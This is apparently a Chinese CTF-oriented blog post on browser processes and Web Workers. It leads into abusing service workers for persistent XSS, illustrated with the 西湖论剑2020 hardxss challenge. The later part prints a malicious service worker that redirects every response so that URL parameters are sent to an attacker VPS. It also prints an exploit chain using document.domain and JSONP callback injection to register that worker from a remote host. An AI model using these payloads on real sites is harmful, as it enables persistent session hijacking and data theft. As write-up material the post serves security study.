多进程与多线程
以chrome为代表的主流浏览器都是使用多进程的模型,主要有五种进程
Renderer Process是浏览器为每一个tab页单独启用的进程,所以每一个Renderer Process 都会有独立的渲染引擎实例。一般来说一个tab下会有如下五个线程
HTML渲染大致分为如下几步:
- HTML被HTML解析器解析成DOM Tree, css则被css解析器解析成CSSOM Tree。
- DOM Tree和CSSOM Tree解析完成后,被附加到一起,形成渲染树(Render Tree)。
- 节点信息计算(重排),这个过程被叫做Layout(Webkit)或者Reflow(Mozilla)。即根据渲染树计算每个节点的几何信息。
- 渲染绘制(重绘),这个过程被叫做(Painting 或者 Repaint)。即根据计算好的信息绘制整个页面。
以上4步简述浏览器的一次渲染过程,理论上,每一次的dom更改或者css几何属性更改,都会引起一次浏览器的重排/重绘过程,而如果是css的非几何属性更改,则只会引起重绘过程。所以说重排一定会引起重绘,而重绘不一定会引起重排。
关于JS单线程的解决
为了多核CPU的计算能力,HTML5提出Web Worker标准,允许JavaScript脚本创建多个线程,但是子线程完全受主线程控制,且不得操作DOM。所以,这个新标准并没有改变JavaScript单线程的本质。
Web Worker为Web内容在后台线程中运行脚本提供了一种简单的方法。线程可以执行任务而不干扰用户界面。一旦创建, 一个worker 可以将消息发送到创建它的JavaScript代码, 通过将消息发布到该代码指定的事件处理程序(反之亦然)。
使用构造函数可以创建一个worker对象,构造函数接受一个JavaScript文件的URL,这个文件就是将要在worker线程中运行的代码。值得注意的是worker将会运行在与页面window对象完全不同的全局上下文中。
在worker线程中你可以运行大部分代码,但是有一些例外:
详细的信息可以参考:Functions and classes available to Web Workers
shared workers:可以被不同窗口的对各脚本运行,只要这些workers处于同一个主域。详细的用法会在之后的博文介绍
service workers :般作为web应用程序、浏览器和网络(如果可用)之间的代理服务。他们旨在(除开其他方面)创建有效的离线体验,拦截网络请求,以及根据网络是否可用采取合适的行动,更新驻留在服务器上的资源。他们还将允许访问推送通知和后台同步API。
从网络安全的角度看,此woekers可以被利用成一个持久化XSS的工具。
Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。
Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHR和localStorage)不能在service worker中使用。
出于安全考量,Service workers只能由HTTPS(出于调试方便,还支持在localhost使用),毕竟修改网络请求的能力暴露给中间人攻击会非常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。
1、只能注册同源下的js
2、站内必须支持Secure Context,也就是站内必须是https://
或者http://localhost/
3、Content-Type必须是js
总之service worker就是一个介于服务端和客户端的一个 代理服务器。
service worker是通过serviceWorkerContainer.register() 来获取和注册的
关于Promise
Promise 对象用于表示一个异步操作的最终完成 (或失败)及其结果值。其精髓是支持链式调用。
必然是以下三种状态之一
- 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
- 已兑现(fulfilled): 意味着操作成功完成。
- 已拒绝(rejected): 意味着操作失败。
整个生命流程大致为下面的的几个步骤:
Service-Worker-Allowed
header 的客户端,你可以为service worker 指定一个最大的 scope 的列表。整个service worker的作用域默认是service woker 注册的脚本的路径。这个作用也可以使用跨域的方法扩展。
使用
ServiceWorker
技术时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope
)中触发fetch事件.
service worker可以监听fetch事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。
WorkerGlobalScope.addEventListener(type,listener,option)
event.respondwith(任何自定义的响应生成代码)
这个方法的目的是包裹段可以生成、返回response对象的代码,来控制响应。
Response(body,init)
//这个脚本可以将service worker作用域下的所有请求的url参数打到我的vps上。 //当然你也可以通过返回其他的东西来达到其他的目的。 self.addEventListener('install',function(event){ console.log('install ok!'); }) self.addEventListener('fetch',function(event){ console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }}) }) ) })
经过的介绍,知道了service worker只能使用同源的脚本注册,那么熟悉xss的师傅就很容易想到通过跨域来实现注册恶意脚本,那么JSONP就是一个好的搭配,因为jsonp的返回值都是js格式的,十分符合service worker的要求。
西湖论剑2020的 jsonp
//这段代码最终的效果就是在页面上生成一个 // <script src="https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=输入的参数"></script> //标签 callback = "get_user_login_status"; auto_reg_var();//获取url参数 if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){ jump_url = "/"; } jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){ if(result['status']){ location.href = jump_url; } }) function jsonp(url, success) { var script = document.createElement("script"); if(url.indexOf("callback") < 0){ var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5); url = url + "?" + "callback=" + funName; }else{ var funName = callback; } window[funName] = function(data) { success(data); delete window[funName]; document.body.removeChild(script); } script.src = url; document.body.appendChild(script); } function auto_reg_var(){ var search = location.search.slice(1); var search_arr = search.split('&'); for(var i = 0;i < search_arr.length; i++){ [key,value] = search_arr[i].split("="); window[key] = value; } }
如果有文件上传的点,可以尝试上传恶意js脚本,一般来说上传的js代码也是js格式的。
西湖论剑2020xss
在这个环境里面,有两个域名auth.hardxss.xhlj.wetolink.com
和xss.hardxss.xhlj.wetolink.com
jsop的点在 auth 子域名里面,xss的点在 xss 子域名里面,并且在xss页面有一个设置document.domian=hardxss.xhlj.wetolink.com
的内容。
<script type="text/javascript"> document.domain = "hardxss.xhlj.wetolink.com"; </script>
我们就可以尝试使用设置doucment.domain的方法来实行
document.domain = "hardxss.xhlj.wetolink.com"; var if = document.createElement('iframe'); if.src = 'https://auth.hardxss.xhlj.wetolink.com/'; if.addEventListener("load", function(){ iffLoadover(); }); document.body.appendChild(if); exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('vps/test.js')")`;//获取代码,要求https function iffLoadover(){ iff.contentWindow.eval(exp);//注册代码 }
test.js
self.addEventListener('install',function(event){ console.log('install ok!'); }) self.addEventListener('fetch',function(event){ console.log(event.request); event.respondWith( caches.match(event.request).then(function(res){ return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }}) }) ) })